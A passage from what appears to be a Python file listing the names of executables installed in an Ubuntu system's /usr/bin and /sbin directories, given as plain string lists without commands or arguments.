'install-printerdriver', 'volname', 'instmodsh', 'vstp', 'intel-virtual-output', 'w', 'ionice', 'wall', 'ip', 'watch', 'ipcmk', 'watchgnupg', 'ipcrm', 'wc', 'ipcs', 'wdctl', 'ippfind', 'wget', 'ipptool', 'whatis', 'iptables-xml', 'whereis', 'ischroot', 'which', 'isdv4-serial-debugger', 'whiptail', 'isdv4-serial-inputattach', 'who', 'isodump', 'whoami', 'isoinfo', 'whoopsie', 'isovfy', 'whoopsie-preferences', 'ispell-wrapper', 'word-list-compress', 'join', 'wpa_passphrase', 'journalctl', 'w.procps', 'jpgicc', 'write', 'json_pp', 'X', 'kbdinfo', 'X11', 'kbd_mode', 'x11perf', 'kbxutil', 'x11perfcomp', 'kernel-install', 'x86_64', 'kerneloops-submit', 'x86_64-linux-gnu-cpp', 'keyring', 'x86_64-linux-gnu-cpp-9', 'kill', 'x86_64-linux-gnu-pkg-config', 'killall', 'x86_64-pc-linux-gnu-pkg-config', 'kmod', 'xargs', 'kmodsign', 'xauth', 'l2ping', 'xbiff', 'l2test', 'xbrlapi', 'laptop-detect', 'xcalc', 'last', 'xclipboard', 'lastb', 'xclock', 'lastlog', 'xcmsdb', 'lavadecode', 'xconsole', 'lcf', 'xcursorgen', 'ldd', 'xcutsel', 'less', 'xdg-dbus-proxy', 'lessecho', 'xdg-desktop-icon', 'lessfile', 'xdg-desktop-menu', 'lesskey', 'xdg-email', 'lesspipe', 'xdg-icon-resource', 'lexgrog', 'xdg-mime', 'libnetcfg', 'xdg-open', 'libwacom-list-local-devices', 'xdg-screensaver', 'link', 'xdg-settings', 'linkicc', 'xdg-user-dir', 'linux32', 'xdg-user-dirs-gtk-update', 'linux64', 'xdg-user-dirs-update', 'linux-boot-prober', 'xditview', 'linux-check-removal', 'xdpyinfo', 'linux-update-symlinks', 'xdriinfo', 'linux-version', 'xedit', 'listres', 'Xephyr', 'ln', 'xev', 'lnstat', 'xeyes', 'loadkeys', 'xfd', 'loadunimap', 'xfontsel', 'locale', 'xgamma', 'locale-check', 'xgc', 'localectl', 'xhost', 'localedef', 'xinit', 'logger', 'xinput', 'login', 'xkbbell', 'loginctl', 'xkbcomp', 'logname', 'xkbevd', 'look', 'xkbprint', 'lorder', 'xkbvleds', 'lowntfs-3g', 'xkbwatch', 'lp', 'xkeystone', 'lpoptions', 'xkill', 'lpq', 'xload', 'lpr', 'xlogo', 'lprm', 'xlsatoms', 'lpstat', 'xlsclients', 'ls', 'xlsfonts', 'lsattr', 'xmag', 'lsblk', 'xman', 'lsb_release', 'xmessage', 'lscpu', 'xmodmap', 'lshw', 'xmore', 'lsinitramfs', 'Xorg', 'lsipc', 'xprop', 'lslocks', 'xqxdecode', 'lslogins', 'xrandr', 'lsmem', 'xrdb', 'lsmod', 'xrefresh', 'lsns', 'x-session-manager', 'lsof', 'xset', 'lspci', 'xsetmode', 'lspgpot', 'xsetpointer', 'lsusb', 'xsetroot', 'ltrace', 'xsetwacom', 'luit', 'xsm', 'lwp-download', 'xstdcmap', 'lwp-dump', 'xsubpp', 'lwp-mirror', 'x-terminal-emulator', 'lwp-request', 'xvidtune', 'lz', 'xvinfo', 'lz4', 'Xwayland', 'lz4c', 'xwd', 'lz4cat', 'x-window-manager', 'lzcat', 'xwininfo', 'lzcmp', 'xwud', 'lzdiff', 'x-www-browser', 'lzegrep', 'xxd', 'lzfgrep', 'xz', 'lzgrep', 'xzcat', 'lzless', 'xzcmp', 'lzma', 'xzdiff', 'lzmainfo', 'xzegrep', 'lzmore', 'xzfgrep', 'm2300w', 'xzgrep', 'm2300w-wrapper', 'xzless', 'm2400w', 'xzmore', 'man', 'yelp', 'mandb', 'yes', 'manpath', 'ypdomainname', 'man-recode', 'zcat', 'mapscrn', 'zcmp', 'mattrib', 'zdiff', 'mawk', 'zdump', 'mbadblocks', 'zegrep', 'mcat', 'zenity', 'mcd', 'zfgrep', 'mcheck', 'zforce', 'mclasserase', 'zgrep', 'mcomp', 'zip', 'mcookie', 'zipcloak', 'mcopy', 'zipdetails', 'md5sum', 'zipgrep', 'md5sum.textutils', 'zipinfo', 'mdel', 'zipnote', 'mdeltree', 'zipsplit', 'mdig', 'zjsdecode', 'mdir', 'zless', 'mdu', 'zmore', 'mesa-overlay-control.py', 'znew', 'mesg'] ubuntu_usr_bin = ['mformat', 'aa-enabled', 'migrate-pubring-from-classic-gpg', 'aa-exec', 'mimeopen', 'aconnect', 'mimetype', 'acpi_listen', 'min12xxw', 'add-apt-repository', 'minfo', 'addpart', 'mkdir', 'alsabat', 'mkfifo', 'alsaloop', 'mkfontdir', 'alsamixer', 'mkfontscale', 'alsatplg', 'mkisofs', 'alsaucm', 'mkmanifest', 'amidi', 'mk_modmap', 'amixer', 'mknod', 'amuFormat.sh', 'mksquashfs', 'apg', 'mktemp', 'apgbfm', 'mkzftree', 'aplay', 'mlabel', 'aplaymidi', 'mmcli', 'apport-bug', 'mmd', 'apport-cli', 'mmount', 'apport-collect', 'mmove', 'apport-unpack', 'monitor-sensor', 'appres', 'more', 'appstreamcli', 'mount', 'apropos', 'mountpoint', 'apt', 'mousetweaks', 'apt-add-repository', 'mpartition', 'apt-cache', 'mrd', 'apt-cdrom', 'mren', 'apt-config', 'mscompress', 'aptdcon', 'msexpand', 'apt-extracttemplates', 'mshortname', 'apt-ftparchive', 'mshowfat', 'apt-get', 'mt', 'apt-key', 'mt-gnu', 'apt-mark', 'mtools', 'apt-sortpkgs', 'mtoolstest', 'apturl', 'mtr', 'apturl-gtk', 'mtr-packet', 'arch', 'mtype', 'arecord', 'mutter', 'arecordmidi', 'mv', 'arm2hpdl', 'mxtar', 'aseqdump', 'mzip', 'aseqnet', 'namei', 'aspell', 'nano', 'aspell-import', 'nautilus', 'atobm', 'nautilus-autorun-software', 'avahi-browse', 'nautilus-sendto', 'avahi-browse-domains', 'nawk', 'avahi-publish', 'nc', 'avahi-publish-address', 'ncal', 'avahi-publish-service', 'nc.openbsd', 'avahi-resolve', 'neqn', 'avahi-resolve-address', 'netcat', 'avahi-resolve-host-name', 'netkit-ftp', 'avahi-set-host-name', 'networkctl', 'awk', 'networkd-dispatcher', 'axfer', 'newgrp', 'b2sum', 'ngettext', 'base32', 'nice', 'base64', 'nisdomainname', 'basename', 'nl', 'bash', 'nm-applet', 'bashbug', 'nmcli', 'bc', 'nm-connection-editor', 'bccmd', 'nm-online', 'bdftopcf', 'nmtui', 'bdftruncate', 'nmtui-connect', 'bitmap', 'nmtui-edit', 'bluemoon', 'nmtui-hostname', 'bluetoothctl', 'nohup', 'bluetooth-sendto', 'notify-send', 'bmtoa', 'nproc', 'boltctl', 'nroff', 'bootctl', 'nsenter', 'brltty', 'nslookup', 'brltty-ctb', 'nstat', 'brltty-trtxt', 'nsupdate', 'brltty-ttb', 'ntfs-3g', 'broadwayd', 'ntfs-3g.probe', 'browse', 'ntfscat', 'bsd-from', 'ntfscluster', 'bsd-write', 'ntfscmp', 'btattach', 'ntfsdecrypt', 'btmgmt', 'ntfsfallocate', 'btmon', 'ntfsfix', 'bunzip2', 'ntfsinfo', 'busctl', 'ntfsls', 'busybox', 'ntfsmove', 'bwrap', 'ntfsrecover', 'bzcat', 'ntfssecaudit', 'bzcmp', 'ntfstruncate', 'bzdiff', 'ntfsusermap', 'bzegrep', 'ntfswipe', 'bzexe', 'numfmt', 'bzfgrep', 'nvidia-detector', 'bzgrep', 'oakdecode', 'bzip2', 'obexctl', 'bzip2recover', 'oclock', 'bzless', 'od', 'bzmore', 'oem-getlogs', 'cal', 'on_ac_power', 'calendar', 'openssl', 'calibrate_ppa', 'openvt', 'canberra-gtk-play', 'opldecode', 'cancel', 'orca', 'captoinfo', 'orca-dm-wrapper', 'cat', 'os-prober', 'catchsegv', 'p11-kit', 'catman', 'pacat', 'cautious-launcher', 'pacmd', 'cd-create-profile', 'pactl', 'cd-fix-profile', 'padsp', 'cd-iccdump', 'pager', 'cd-it8', 'pa-info', 'chacl', 'pamon', 'chage', 'paperconf', 'chardet3', 'paplay', 'chardetect3', 'parec', 'chattr', 'parecord', 'chcon', 'partx', 'check-language-support', 'passwd', 'chfn', 'paste', 'chgrp', 'pasuspender', 'chmod', 'patch', 'choom', 'pathchk', 'chown', 'pax11publish', 'chrt', 'pdb3', 'chsh', 'pdb3.8', 'chvt', 'pdf2dsc', 'ciptool', 'pdf2ps', 'ckbcomp', 'pdfattach', 'cksum', 'pdfdetach', 'clear', 'pdffonts', 'clear_console', 'pdfimages', 'cmp', 'pdfinfo', 'codepage', 'pdfseparate', 'col', 'pdfsig', 'colcrt', 'pdftocairo', 'colormgr', 'pdftohtml', 'colrm', 'pdftoppm', 'column', 'pdftops', 'comm', 'pdftotext', 'compose', 'pdfunite', 'corelist', 'peekfd', 'cp', 'perl', 'cpan', 'perl5.30.0', 'cpan5.30-x86_64-linux-gnu', 'perl5.30-x86_64-linux-gnu', 'cpio', 'perlbug', 'cpp', 'perldoc', 'cpp-9', 'perli11ndoc', 'c_rehash', 'perlivp', 'crontab', 'perlthanks', 'csplit', 'pf2afm', 'ctstat', 'pfbtopfa', 'cupstestppd', 'pftp', 'cut', 'pgrep', 'cvt', 'pic', 'cvtsudoers', 'pico', 'dash', 'piconv', 'date', 'pidof', 'dbus-cleanup-sockets', 'pinentry', 'dbus-daemon', 'pinentry-curses', 'dbus-launch', 'pinentry-gnome3', 'dbus-monitor', 'pinentry-x11', 'dbus-run-session', 'ping', 'dbus-send', 'ping4', 'dbus-update-activation-environment', 'ping6', 'dbus-uuidgen', 'pinky', 'dbxtool', 'pkaction', 'dc', 'pkcheck', 'dconf', 'pkcon', 'dd', 'pkexec', 'ddstdecode', 'pkg-config', 'deallocvt', 'pkill', 'debconf', 'pkmon', 'debconf-apt-progress', 'pkttyagent', 'debconf-communicate', 'pl2pm', 'debconf-copydb', 'pldd', 'debconf-escape', 'plog', 'debconf-set-selections', 'plymouth', 'debconf-show', 'pmap', 'debian-distro-info', 'pnm2ppa', 'deb-systemd-helper', 'pod2html', 'deb-systemd-invoke', 'pod2man', 'delpart', 'pod2text', 'delv', 'pod2usage', 'desktop-file-edit', 'podchecker', 'desktop-file-install', 'podselect', 'desktop-file-validate', 'poff', 'devdump', 'pon', 'df', 'POST', 'dfu-tool', 'ppdc', 'dh_bash-completion', 'ppdhtml', 'dh_installxmlcatalogs', 'ppdi', 'dh_perl_openssl', 'ppdmerge', 'diff', 'ppdpo', 'diff3', 'pphs', 'dig', 'pr', 'dir', 'precat', 'dircolors', 'preconv', 'dirmngr', 'preunzip', 'dirmngr-client', 'prezip', 'dirname', 'prezip-bin', 'dirsplit', 'print', 'distro-info', 'printafm', 'dmesg', 'printenv', 'dnsdomainname', 'printerbanner', 'domainname', 'printer-profile', 'do-release-upgrade', 'printf', 'dpkg', 'prlimit', 'dpkg-deb', 'prove', 'dpkg-divert', 'prtstat', 'dpkg-maintscript-helper', 'ps', 'dpkg-query', 'ps2ascii', 'dpkg-split', 'ps2epsi', 'dpkg-statoverride', 'ps2pdf', 'dpkg-trigger', 'ps2pdf12', 'driverless', 'ps2pdf13', 'du', 'ps2pdf14', 'dumpkeys', 'ps2pdfwr', 'dvipdf', 'ps2ps', 'echo', 'ps2ps2', 'ed', 'ps2txt', 'edit', 'psfaddtable', 'editor', 'psfgettable', 'editres', 'psfstriptable', 'egrep', 'psfxtable', 'eject', 'psicc', 'enc2xs', 'pslog', 'encguess', 'pstree', 'enchant-2', 'pstree.x11', 'enchant-lsmod-2', 'ptar', 'env', 'ptardiff', 'envsubst', 'ptargrep', 'eog', 'ptx', 'eps2eps', 'pulseaudio', 'eqn', 'pwd', 'esc-m', 'pwdx', 'eutp', 'py3clean', 'evince', 'py3compile', 'evince-previewer', 'py3versions', 'evince-thumbnailer', 'pydoc3', 'ex', 'pydoc3.8', 'expand', 'pygettext3', 'expiry', 'pygettext3.8', 'expr', 'pyjwt3', 'factor', 'python3', 'faillog', 'python3.8', 'fallocate', 'qpdldecode', 'false', 'quirks-handler', 'fc-cache', 'rbash', 'fc-cat', 'rcp', 'fc-conflist', 'rctest', 'fc-list', 'rdma', 'fc-match', 'readlink', 'fc-pattern', 'realpath', 'fc-query', 'red', 'fc-scan', 'rename.ul', 'fc-validate', 'rendercheck', 'fgconsole', 'renice', 'fgrep', 'reset', 'file', 'resizecons', 'file2brl', 'resizepart', 'file-roller', 'resolvectl', 'fincore', 'rev', 'find', 'rfcomm', 'findmnt', 'rgrep', 'firefox', 'rlogin', 'flock', 'rm', 'fmt', 'rmdir', 'fold', 'rnano', 'fonttosfnt', 'routef', 'foo2ddst', 'routel', 'foo2ddst-wrapper', 'rrsync', 'foo2hbpl2', 'rsh', 'foo2hbpl2-wrapper', 'rstart', 'foo2hiperc', 'rstartd', 'foo2hiperc-wrapper', 'rsync', 'foo2hp', 'rtstat', 'foo2hp2600-wrapper', 'runcon', 'foo2lava', 'run-mailcap', 'foo2lava-wrapper', 'run-parts', 'foo2oak', 'run-with-aspell', 'foo2oak-wrapper', 'rview', 'foo2qpdl', 'rygel', 'foo2qpdl-wrapper', 'sane-find-scanner', 'foo2slx', 'savelog', 'foo2slx-wrapper', 'sbattach', 'foo2xqx', 'sbkeysync', 'foo2xqx-wrapper', 'sbsiglist', 'foo2zjs', 'sbsign', 'foo2zjs-icc2ps', 'sbvarsign', 'foo2zjs-pstops', 'sbverify', 'foo2zjs-wrapper', 'scanimage', 'foomatic-rip', 'scp', 'fprintd-delete', 'scp-dbus-service', 'fprintd-enroll', 'screendump', 'fprintd-list', 'script', 'fprintd-verify', 'scriptreplay', 'free', 'sdiff', 'from', 'sdptool', 'ftp', 'seahorse', 'funzip', 'sed', 'fuser', 'see', 'fusermount', 'select-default-iwrap', 'fwupdagent', 'select-editor', 'fwupdate', 'sensible-browser', 'fwupdmgr', 'sensible-editor', 'fwupdtool', 'sensible-pager', 'fwupdtpmevlog', 'seq', 'gamemoded', 'session-migration', 'gamemoderun', 'sessreg', 'gamma4scanimage', 'setarch', 'gapplication', 'setfacl', 'gatttool', 'setfont', 'gcalccmd', 'setkeycodes', 'gcore', 'setleds', 'gcr-viewer', 'setlogcons', 'gdb', 'setmetamode', 'gdb-add-index', 'setpci', 'gdbserver', 'setpriv', 'gdbtui', 'setsid', 'gdbus', 'setterm', 'gdialog', 'setupcon', 'gdk-pixbuf-csource', 'setxkbmap', 'gdk-pixbuf-pixdata', 'sftp', 'gdk-pixbuf-thumbnailer', 'sg', 'gdmflexiserver', 'sh', 'gdm-screenshot', 'sha1sum', 'gedit', 'sha224sum', 'genisoimage', 'sha256sum', 'geqn', 'sha384sum', 'GET', 'sha512sum', 'getconf', 'shasum', 'geteltorito', 'showconsolefont', 'getent', 'showkey', 'getfacl', 'showrgb', 'getkeycodes', 'shred', 'getopt', 'shuf', 'gettext', 'skill', 'gettext.sh', 'slabtop', 'ghostscript', 'sleep', 'ginstall-info', 'slogin', 'gio', 'slxdecode', 'gio-querymodules', 'smproxy', 'gipddecode', 'snap', 'gjs', 'snapctl', 'gjs-console', 'snapfuse', 'gkbd-keyboard-display', 'snice', 'glib-compile-schemas', 'soelim', 'gnome-calculator', 'software-properties-gtk', 'gnome-characters', 'sort', 'gnome-control-center', 'spd-conf', 'gnome-disk-image-mounter', 'spd-say', 'gnome-disks', 'speaker-test', 'gnome-extensions', 'speech-dispatcher', 'gnome-font-viewer', 'spice-vdagent', 'gnome-help', 'splain', 'gnome-keyring', 'split', 'gnome-keyring-3', 'splitfont', 'gnome-keyring-daemon', 'ss', 'gnome-language-selector', 'ssh', 'gnome-logs', 'ssh-add', 'gnome-power-statistics', 'ssh-agent', 'gnome-screenshot', 'ssh-argv0', 'gnome-session', 'ssh-copy-id', 'gnome-session-custom-session', 'ssh-keygen', 'gnome-session-inhibit', 'ssh-keyscan', 'gnome-session-properties', 'start-pulseaudio-x11', 'gnome-session-quit', 'startx', 'gnome-shell', 'stat', 'gnome-shell-extension-tool', 'static-sh', 'gnome-shell-perf-tool', 'stdbuf', 'gnome-system-monitor', 'strace', 'gnome-terminal', 'strace-log-merge', 'gnome-terminal.real', 'stty', 'gnome-terminal.wrapper', 'su', 'gnome-text-editor', 'sudo', 'gnome-thumbnail-font', 'sudoedit', 'gnome-www-browser', 'sudoreplay', 'gpasswd', 'sum', 'gpg', 'symcryptrun', 'gpg-agent', 'sync', 'gpgcompose', 'system-config-printer', 'gpgconf', 'system-config-printer-applet', 'gpg-connect-agent', 'systemctl', 'gpgparsemail', 'systemd', 'gpgsm', 'systemd-analyze', 'gpgsplit', 'systemd-ask-password', 'gpgtar', 'systemd-cat', 'gpgv', 'systemd-cgls', 'gpg-wks-server', 'systemd-cgtop', 'gpg-zip', 'systemd-delta', 'gpic', 'systemd-detect-virt', 'gpu-manager', 'systemd-escape', 'grep', 'systemd-hwdb', 'gresource', 'systemd-id128', 'groff', 'systemd-inhibit', 'grog', 'systemd-machine-id-setup', 'grops', 'systemd-mount', 'grotty', 'systemd-notify', 'groups', 'systemd-path', 'grub-editenv', 'systemd-resolve', 'grub-file', 'systemd-run', 'grub-fstest', 'systemd-socket-activate', 'grub-glue-efi', 'systemd-stdio-bridge', 'grub-kbdcomp', 'systemd-sysusers', 'grub-menulst2cfg', 'systemd-tmpfiles', 'grub-mkfont', 'systemd-tty-ask-password-agent', 'grub-mkimage', 'systemd-umount', 'grub-mklayout', 'tabs', 'grub-mknetdir', 'tac', 'grub-mkpasswd-pbkdf2', 'tail', 'grub-mkrelpath', 'tar', 'grub-mkrescue', 'taskset', 'grub-mkstandalone', 'tbl', 'grub-mount', 'tee', 'grub-ntldr-img', 'telnet', 'grub-render-label', 'telnet.netkit', 'grub-script-check', 'tempfile', 'grub-syslinux2cfg', 'test', 'gs', 'tgz', 'gsbj', 'tic', 'gsdj', 'tificc', 'gsdj500', 'time', 'gsettings', 'timedatectl', 'gslj', 'timeout', 'gslp', 'tload', 'gsnd', 'toe', 'gst-device-monitor-1.0', 'top', 'gst-discoverer-1.0', 'touch', 'gst-inspect-1.0', 'tput', 'gst-launch-1.0', 'tr', 'gst-play-1.0', 'tracepath', 'gstreamer-codec-install', 'traceroute6', 'gst-typefind-1.0', 'traceroute6.iputils', 'gtbl', 'tracker', 'gtf', 'transicc', 'gtk-builder-tool', 'transset', 'gtk-encode-symbolic-svg', 'troff', 'gtk-launch', 'true', 'gtk-query-settings', 'truncate', 'gtk-update-icon-cache', 'trust', 'gunzip', 'tset', 'gvfs-cat', 'tsort', 'gvfs-copy', 'ttfread', 'gvfs-info', 'tty', 'gvfs-less', 'tzselect', 'gvfs-ls', 'ua', 'gvfs-mime', 'ubuntu-advantage', 'gvfs-mkdir', 'ubuntu-bug', 'gvfs-monitor-dir', 'ubuntu-core-launcher', 'gvfs-monitor-file', 'ubuntu-distro-info', 'gvfs-mount', 'ubuntu-drivers', 'gvfs-move', 'ubuntu-report', 'gvfs-open', 'ubuntu-security-status', 'gvfs-rename', 'ucf', 'gvfs-rm', 'ucfq', 'gvfs-save', 'ucfr', 'gvfs-set-attribute', 'ucs2any', 'gvfs-trash', 'udevadm', 'gvfs-tree', 'udisksctl', 'gzexe', 'ul', 'gzip', 'ulockmgr_server', 'h2ph', 'umax_pp', 'h2xs', 'umount', 'hbpldecode', 'uname', 'hciattach', 'unattended-upgrade', 'hciconfig', 'unattended-upgrades', 'hcitool', 'uncompress', 'hd', 'unexpand', 'head', 'unicode_start', 'HEAD', 'unicode_stop', 'helpztags', 'uniq', 'hex2hcd', 'unity-scope-loader', 'hexdump', 'unlink', 'hipercdecode', 'unlz4', 'host', 'unlzma', 'hostid', 'unmkinitramfs', 'hostname', 'unshare', 'hostnamectl', 'unsquashfs', 'hp-align', 'unxz', 'hp-check', 'unzip', 'hp-clean', 'unzipsfx', 'hp-colorcal', 'update-alternatives', 'hp-config_usb_printer', 'update-desktop-database', 'hp-doctor', 'update-manager', 'hp-firmware', 'update-mime-database', 'hp-info', 'update-notifier', 'hp-levels', 'upower', 'hp-logcapture', 'uptime', 'hp-makeuri', 'usb-devices', 'hp-pkservice', 'usbhid-dump', 'hp-plugin', 'usb_printerid', 'hp-plugin-ubuntu', 'usbreset', 'hp-probe', 'users', 'hp-query', 'utmpdump', 'hp-scan', 'uuidgen', 'hp-setup', 'uuidparse', 'hp-testpage', 'uz', 'hp-timedate', 'vdir', 'hwe-support-status', 'VGAuthService', 'i386', 'vi', 'i686-linux-gnu-pkg-config', 'view', 'ibus', 'viewres', 'ibus-daemon', 'vim.tiny', 'ibus-setup', 'vmhgfs-fuse', 'ibus-table-createdb', 'vmstat', 'iceauth', 'vm-support', 'ico', 'vmtoolsd', 'iconv', 'vmware-alias-import', 'id', 'vmware-checkvm', 'iecset', 'vmwarectrl', 'ijs_pxljr', 'vmware-hgfsclient', 'im-config', 'vmware-namespace-cmd', 'im-launch', 'vmware-rpctool', 'info', 'vmware-toolbox-cmd', 'infobrowser', 'vmware-user', 'infocmp', 'vmware-user-suid-wrapper', 'infotocap', 'vmware-vgauth-cmd', 'inputattach', 'vmware-vmblock-fuse', 'install', 'vmware-xferlogs', 'install-info', 'vmwgfxctrl', 'install-printerdriver', 'volname', 'instmodsh', 'vstp', 'intel-virtual-output', 'w', 'ionice', 'wall', 'ip', 'watch', 'ipcmk', 'watchgnupg', 'ipcrm', 'wc', 'ipcs', 'wdctl', 'ippfind', 'wget', 'ipptool', 'whatis', 'iptables-xml', 'whereis', 'ischroot', 'which', 'isdv4-serial-debugger', 'whiptail', 'isdv4-serial-inputattach', 'who', 'isodump', 'whoami', 'isoinfo', 'whoopsie', 'isovfy', 'whoopsie-preferences', 'ispell-wrapper', 'word-list-compress', 'join', 'wpa_passphrase', 'journalctl', 'w.procps', 'jpgicc', 'write', 'json_pp', 'X', 'kbdinfo', 'X11', 'kbd_mode', 'x11perf', 'kbxutil', 'x11perfcomp', 'kernel-install', 'x86_64', 'kerneloops-submit', 'x86_64-linux-gnu-cpp', 'keyring', 'x86_64-linux-gnu-cpp-9', 'kill', 'x86_64-linux-gnu-pkg-config', 'killall', 'x86_64-pc-linux-gnu-pkg-config', 'kmod', 'xargs', 'kmodsign', 'xauth', 'l2ping', 'xbiff', 'l2test', 'xbrlapi', 'laptop-detect', 'xcalc', 'last', 'xclipboard', 'lastb', 'xclock', 'lastlog', 'xcmsdb', 'lavadecode', 'xconsole', 'lcf', 'xcursorgen', 'ldd', 'xcutsel', 'less', 'xdg-dbus-proxy', 'lessecho', 'xdg-desktop-icon', 'lessfile', 'xdg-desktop-menu', 'lesskey', 'xdg-email', 'lesspipe', 'xdg-icon-resource', 'lexgrog', 'xdg-mime', 'libnetcfg', 'xdg-open', 'libwacom-list-local-devices', 'xdg-screensaver', 'link', 'xdg-settings', 'linkicc', 'xdg-user-dir', 'linux32', 'xdg-user-dirs-gtk-update', 'linux64', 'xdg-user-dirs-update', 'linux-boot-prober', 'xditview', 'linux-check-removal', 'xdpyinfo', 'linux-update-symlinks', 'xdriinfo', 'linux-version', 'xedit', 'listres', 'Xephyr', 'ln', 'xev', 'lnstat', 'xeyes', 'loadkeys', 'xfd', 'loadunimap', 'xfontsel', 'locale', 'xgamma', 'locale-check', 'xgc', 'localectl', 'xhost', 'localedef', 'xinit', 'logger', 'xinput', 'login', 'xkbbell', 'loginctl', 'xkbcomp', 'logname', 'xkbevd', 'look', 'xkbprint', 'lorder', 'xkbvleds', 'lowntfs-3g', 'xkbwatch', 'lp', 'xkeystone', 'lpoptions', 'xkill', 'lpq', 'xload', 'lpr', 'xlogo', 'lprm', 'xlsatoms', 'lpstat', 'xlsclients', 'ls', 'xlsfonts', 'lsattr', 'xmag', 'lsblk', 'xman', 'lsb_release', 'xmessage', 'lscpu', 'xmodmap', 'lshw', 'xmore', 'lsinitramfs', 'Xorg', 'lsipc', 'xprop', 'lslocks', 'xqxdecode', 'lslogins', 'xrandr', 'lsmem', 'xrdb', 'lsmod', 'xrefresh', 'lsns', 'x-session-manager', 'lsof', 'xset', 'lspci', 'xsetmode', 'lspgpot', 'xsetpointer', 'lsusb', 'xsetroot', 'ltrace', 'xsetwacom', 'luit', 'xsm', 'lwp-download', 'xstdcmap', 'lwp-dump', 'xsubpp', 'lwp-mirror', 'x-terminal-emulator', 'lwp-request', 'xvidtune', 'lz', 'xvinfo', 'lz4', 'Xwayland', 'lz4c', 'xwd', 'lz4cat', 'x-window-manager', 'lzcat', 'xwininfo', 'lzcmp', 'xwud', 'lzdiff', 'x-www-browser', 'lzegrep', 'xxd', 'lzfgrep', 'xz', 'lzgrep', 'xzcat', 'lzless', 'xzcmp', 'lzma', 'xzdiff', 'lzmainfo', 'xzegrep', 'lzmore', 'xzfgrep', 'm2300w', 'xzgrep', 'm2300w-wrapper', 'xzless', 'm2400w', 'xzmore', 'man', 'yelp', 'mandb', 'yes', 'manpath', 'ypdomainname', 'man-recode', 'zcat', 'mapscrn', 'zcmp', 'mattrib', 'zdiff', 'mawk', 'zdump', 'mbadblocks', 'zegrep', 'mcat', 'zenity', 'mcd', 'zfgrep', 'mcheck', 'zforce', 'mclasserase', 'zgrep', 'mcomp', 'zip', 'mcookie', 'zipcloak', 'mcopy', 'zipdetails', 'md5sum', 'zipgrep', 'md5sum.textutils', 'zipinfo', 'mdel', 'zipnote', 'mdeltree', 'zipsplit', 'mdig', 'zjsdecode', 'mdir', 'zless', 'mdu', 'zmore', 'mesa-overlay-control.py', 'znew', 'mesg'] ubuntu_sbin = ['aa-remove-unknown', 'getweb', 'pam_extrausers_chkpwd', 'aa-status', 'gnome-menus-blacklist', 'pam_extrausers_update', 'aa-teardown', 'groupadd', 'pam_getenv', 'accessdb', 'groupdel', 'pam_tally', 'acpid', 'groupmems', 'pam_tally2', 'addgnupghome', 'groupmod', 'pam_timestamp_check', 'addgroup', 'grpck', 'paperconfig', 'add-shell', 'grpconv', 'parted', 'adduser', 'grpunconv', 'partprobe', 'agetty', 'grub-bios-setup', 'pccardctl', 'alsa', 'grub-install', 'pivot_root', 'alsabat-test', 'grub-macbless', 'plymouthd', 'alsactl', 'grub-mkconfig', 'popcon-largest-unused', 'alsa-info', 'grub-mkdevicemap', 'popularity-contest', 'anacron', 'grub-probe', 'poweroff', 'apparmor_parser', 'grub-reboot', 'pppd', 'apparmor_status', 'grub-set-default', 'pppdump', 'applygnupgdefaults', 'halt', 'pppoe-discovery', 'aptd', 'hdparm', 'pppstats', 'arpd', 'hwclock', 'pptp', 'arptables', 'iconvconfig', 'pptpsetup', 'arptables-nft', 'iio-sensor-proxy', 'pwck', 'arptables-nft-restore', 'init', 'pwconv', 'arptables-nft-save', 'insmod', 'pwunconv', 'arptables-restore', 'installkernel', 'raw', 'arptables-save', 'install-sgmlcatalog', 'readprofile', 'aspell-autobuildhash', 'invoke-rc.d', 'reboot', 'avahi-autoipd', 'ip', 'regdbdump', 'avahi-daemon', 'ip6tables', 'remove-default-ispell', 'badblocks', 'ip6tables-apply', 'remove-default-wordlist', 'biosdecode', 'ip6tables-legacy', 'remove-shell', 'blkdeactivate', 'ip6tables-legacy-restore', 'resize2fs', 'blkdiscard', 'ip6tables-legacy-save', 'rfkill', 'blkid', 'ip6tables-nft', 'rmmod', 'blkzone', 'ip6tables-nft-restore', 'rmt', 'blockdev', 'ip6tables-nft-save', 'rmt-tar', 'bluetoothd', 'ip6tables-restore', 'rsyslogd', 'bridge', 'ip6tables-restore-translate', 'rtacct', 'brltty', 'ip6tables-save', 'rtcwake', 'brltty-setup', 'ip6tables-translate', 'rtkitctl', 'capsh', 'ippeveprinter', 'rtmon', 'cfdisk', 'ippusbxd', 'runlevel', 'cgdisk', 'iptables', 'runuser', 'chat', 'iptables-apply', 'saned', 'chcpu', 'iptables-legacy', 'select-default-ispell', 'chgpasswd', 'iptables-legacy-restore', 'select-default-wordlist', 'chmem', 'iptables-legacy-save', 'service', 'chpasswd', 'iptables-nft', 'setcap', 'chroot', 'iptables-nft-restore', 'setvesablank', 'cpgr', 'iptables-nft-save', 'setvtrgb', 'cppw', 'iptables-restore', 'sfdisk', 'cracklib-check', 'iptables-restore-translate', 'sgdisk', 'cracklib-format', 'iptables-save', 'shadowconfig', 'cracklib-packer', 'iptables-translate', 'shutdown', 'cracklib-unpacker', 'irqbalance', 'spice-vdagentd', 'crda', 'irqbalance-ui', 'start-stop-daemon', 'create-cracklib-dict', 'isosize', 'sulogin', 'cron', 'ispell-autobuildhash', 'swaplabel', 'ctrlaltdel', 'iucode-tool', 'swapoff', 'cupsaccept', 'iucode_tool', 'swapon', 'cups-browsed', 'iw', 'switch_root', 'cupsctl', 'iwconfig', 'sysctl', 'cupsd', 'iwevent', 'tarcat', 'cupsdisable', 'iwgetid', 'tc', 'cupsenable', 'iwlist', 'tcpdump', 'cupsfilter', 'iwpriv', 'telinit', 'cupsreject', 'iwspy', 'thermald', 'debugfs', 'kbdrate', 'tipc', 'delgroup', 'kerneloops', 'tune2fs', 'deluser', 'killall5', 'tzconfig', 'depmod', 'ldattach', 'u-d-c-print-pci-ids', 'devlink', 'ldconfig', 'ufw', 'dhclient', 'ldconfig.real', 'umount.udisks2', 'dhclient-script', 'locale-gen', 'unix_chkpwd', 'dmidecode', 'logrotate', 'unix_update', 'dmsetup', 'logsave', 'update-ca-certificates', 'dmstats', 'losetup', 'update-catalog', 'dnsmasq', 'lpadmin', 'update-cracklib', 'dosfsck', 'lpc', 'update-default-aspell', 'dosfslabel', 'lpinfo', 'update-default-ispell', 'dpkg-preconfigure', 'lpmove', 'update-default-wordlist', 'dpkg-reconfigure', 'lsmod', 'update-dictcommon-aspell', 'dumpe2fs', 'lspcmcia', 'update-dictcommon-hunspell', 'e2freefrag', 'make-ssl-cert', 'update-fonts-alias', 'e2fsck', 'mkdosfs', 'update-fonts-dir', 'e2image', 